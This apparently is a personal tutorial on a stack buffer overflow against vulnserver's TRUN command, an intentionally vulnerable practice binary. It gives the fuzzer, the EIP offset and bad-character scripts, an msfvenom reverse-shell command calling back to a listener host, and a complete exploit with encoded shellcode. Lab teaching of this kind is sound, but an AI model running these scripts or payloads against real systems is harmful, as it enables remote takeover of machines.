I wanted to do an article on Buffer Overflows, there are many articles on Buffer Overflows but this one is mine! I’m going to take it easy on the first go and do a simple stack based buffer overflow…Let’s get started.
For this I’ll be using vulnserver. It’s an intentionally vulnerable binary for you to practice on. I did this from my Windows 10 machine, but you are free to use whatever flavor of Windows you want. Simply download the files, unzip, and run it. Now remember, this is intentionally vulnerable…So maybe turn off your internet or run it in a VM.
So let’s load up immunity and see what happens when we throw a bunch of crap at it. I’ll be targeting the TRUN function of vulnserver. First we need some fuzzer code:
#!/user/bin/python import socket import sys buffer=["A"] counter=100 while len(buffer) <= 100: buffer.append("A"*counter) counter=counter+200 for string in buffer: print "[+] Fuzzing vulnserver with %s bytes" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send( sys.argv+" ."+string) #Note the "." as it's important. data = s.recv(1024) print data s.send('EXIT\r\n') s.close()
When we run this, we get a crash around 2100 bytes. We can easily verify that the EIP is overwritten by looking at the CPU Registers in immunity.
Note the EIP is now full of 41414141 or AAAA. This means that our long string of A’s has overwritten the EIP register and broke the flow of the application as 41414141 is not a valid address.
Now that we know roughly how much data we need to throw at it to crash it, we need to find the exact point where the EIP is overwritten. This is easily done by generating a unique pattern 2100 bytes in length and crashing the application again. Luckily, the Metasploit framework comes with a handy tool for doing just that
This will create a unique pattern that we can crash the application with. Let’s update our code with the new string.
When we fire this off and check the EIP we’ll see a new unique string there. If we run that through pattern_offset we can find the exact offset before we overwrite the EIP register. In this case it’s at 2006.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 396F4338 [*] Exact match at offset 2006
Let’s verify the offset by overwriting EIP with our own bit of code. I like to use 0xdeadbeef because why not?
#!/user/bin/python import socket from struct import * buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()
After running this, we can see that we have successfully overwritten EIP with DEADBEEF.
SWEEEET! We now control EIP. This means we control the flow of the application. The next step is to see how much room we have for our shellcode. We could put it in the initial string of A’s before the crash, but let’s see how much further past the EIP we can write to the stack.
Adding in Shellcode
As I mentioned, we need to find some room for our shellcode so let’s update our code to squeez in some C’s. I’ll start with 400 bytes of C’s as that should be enough for a simple reverse shell.
#!/user/bin/python import socket from struct import * buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) buffer += 'C' * 400 print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()
After firing this off and looking at the dump we can see a couple of things. First is that all of our C’s seem to fit and second, they start right at the ESP. The image below, with it’s crappy highlighting, show’s the ESP. You can verify this by looking at the ESP value in the registers.
This is good for a couple of reason. We know we have enough room for our shellcode, and we know that all we need to do is jump to the ESP to execute our shellcode. What do I mean by this? Well, since we control EIP, we can tell the application do go wherever we want. So what we need to do is tell it to go to an instruction call that says jmp esp. This will cause the application to go to the top of the stack and start executing our shellcode. But first, let’s find out what characters the application can and cannot handle.
Finding Bad Characters
In order to have successful execution, we need to make sure the application properly reads all of our characters. To do this, we need to send in a string of bad characters and then check the stack dump. If there is a break in the string, we can assume there is a bad characters, remove it, and send the string again. Fortunately for us there didn’t seem to be any bad characters in this application.
#!/user/bin/python import socket from struct import * badchar = "" badchar += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" badchar += "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" badchar += "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" badchar += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" badchar += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" badchar += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" badchar += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" badchar += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) buffer += badchar print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()
Finding our Return Address
So how do we go about finding a jmp esp instruction call? With the power of Mona that’s how! First we need to find a module loaded in the application that doesn’t have any of the fancy memory protections.
In this case, I’ll use essfunc.dll, so let’s see if there is a jmp esp call within that module.
We’ll just use the top address as our return.
Finalizing the Exploit
Alright, we’ve done all the leg work. Now let’s finalize this exploit and get ourselves a shell! I’ll use msfvenom to generate some shellcode for us.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.21 LPORT=4444 --smallest -f python -v payload -b '\x00'
We’ll use the shell_reverse_tcp as it’s none-staged and relatively small. Note I’m also declaring the NULL character, 0x00, as a bad character.
So let’s update our script.
#!/user/bin/python import socket from struct import * ret = pack('<L', 0x625011AF) payload = "" payload += "\x33\xc9\x66\xb9\x43\x01\xe8\xff\xff\xff\xff\xc1" payload += "\x5e\x30\x4c\x0e\x07\xe2\xfa\xfd\xea\x81\x04\x05" payload += "\x06\x67\x81\xec\x3b\xcb\x68\x86\x5e\x3f\x9b\x43" payload += "\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a\x2c" payload += "\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28" payload += "\xed\xc9\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe" payload += "\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66\x60\x40" payload += "\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b" payload += "\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf" payload += "\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41" payload += "\x67\xb4\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa" payload += "\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20\x1d\x24" payload += "\x24\x2e\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4" payload += "\xe2\xb8\xbe\x8d\x8e\xe7\xe7\xe2\xa0\xcc\xc0\xfd" payload += "\xda\xe0\xbe\x9e\x65\x4e\x24\x0d\x9f\x9f\xa0\x88" payload += "\x66\xf7\xf4\xcd\x8f\x27\xc3\xa9\x55\x7e\xfc\xfd" payload += "\xfe\xff\xf0\xe1\xf2\xe3\xdc\x5f\xb9\x68\x58\x46" payload += "\x6f\x2c\xd6\xb8\xd6\x7f\x68\xc0\xe7\xab\xc6\xc5" payload += "\xd7\x9b\x41\x2f\xa0\xdb\x9a\x9a\xa6\x56\x75\xa5" payload += "\xb3\x2c\x01\x50\x16\xa3\xd4\x26\x94\xd3\xa9\x31" payload += "\xb6\x2f\x55\x43\xb4\x1c\x31\x8d\x85\x8a\x8c\xe9" payload += "\x63\x08\xbb\xba\xb9\xde\x06\x9b\xe0\xaa\xa2\x17" payload += "\x0b\x91\x3f\xbd\xde\xc7\xfd\xfc\x73\xbb\x24\x11" payload += "\xc4\x03\x40\x51\x56\x51\x5e\x5f\x4c\x5d\x42\x5b" payload += "\x58\x5c\x46\x79\x6b\xdf\x2b\x93\xe9\xc2\x91\xf9" payload += "\x54\x4d\x5a\xe2\x2e\x77\x28\xa6\x3f\x43\xdb\xf0" payload += "\x9d\xd7\x9d\x8b\x7c\x43\x8a\xb8\x93\xb2\xcf\xe4" payload += "\x0e\x35\x48\x3f\xb6\xcc\xd8\x4c\x3f\x80\x7b\x2e" payload += "\x4c\x50\x2a\x41\x11\xbc\x91" buffer = 'A' * 2006 buffer += ret buffer += payload print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()
And that’s it. Once we set up our listener and fire off the code we should have a shiny new shell!